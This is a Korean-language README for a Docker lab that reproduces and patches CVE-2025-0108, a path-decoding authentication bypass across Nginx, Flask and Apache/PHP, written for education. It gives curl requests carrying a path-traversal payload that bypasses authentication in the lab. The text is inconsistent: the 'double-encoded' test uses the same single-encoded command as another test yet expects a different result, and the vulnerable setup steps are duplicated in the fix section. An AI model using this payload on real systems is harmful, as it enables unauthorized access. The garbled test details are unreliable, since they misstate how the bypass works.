
이 저장소는 CVE-2025-0108 문제(Nginx와 Apache 간의 경로 혼동/헤더 스머글링)를 재현하고 완화하기 위한 소규모 랩 환경을 포함합니다.
이 과제의 목표는 다중 계층 스택(Nginx -> Flask 백엔드 -> Apache/PHP)에서 이중 인코딩된 요청이 인증을 우회할 수 있는 방법을 시연하고 백엔드 측 완화 방법을 보여주는 것입니다.
이 환경은 교육 목적으로만 제공됩니다.
CVE-2025-0108/ — 취약한 구현(PoC)CVE-2025-0108_fix/ — 패치된 구현(백엔드가 디코딩된 경로를 검증함)CVE-2025-0108계층 간 일관되지 않은 경로 디코딩으로 인해 이중 인코딩된 경로가 인증을 우회할 수 있는 취약한 구성을 시뮬레이션합니다.
CVE-2025-0108 디렉터리에서:
cd CVE-2025-0108
docker compose up --build
호스트에서 다음 curl 명령을 실행하세요:
테스트 1 — 이중 인코딩(예상: HTTP 200)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
이 요청은 이중 인코딩(%252e%252e == %2e%2e == ..)을 사용하며 취약한 구성에서의 우회를 시연합니다. 200 OK를 반환해야 합니다.
테스트 2 — 단일 인코딩(예상: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
테스트 3 — ..을 포함한 원시 경로(예상: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
환경 중지:
docker compose down
백엔드는 접근을 허용하기 전에 디코딩된 경로에 대한 추가 검사를 수행합니다. 이를 통해 요청이 이중 인코딩된 경우 인증 우회를 방지합니다.
CVE-2025-0108 디렉터리에서:
cd CVE-2025-0108
docker compose up --build
호스트에서 다음 curl 명령을 실행하세요:
CVE-2025-0108_fix 디렉터리에서:
cd CVE-2025-0108_fix
docker compose up --build
테스트 1 — 이중 인코딩(예상: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
수정된 백엔드는 디코딩된 ..을 감지하고 401 Unauthorized를 반환합니다.
테스트 2 — 단일 인코딩(예상: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
테스트 3 — ..을 포함한 원시 경로(예상: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
환경 중지:
docker compose down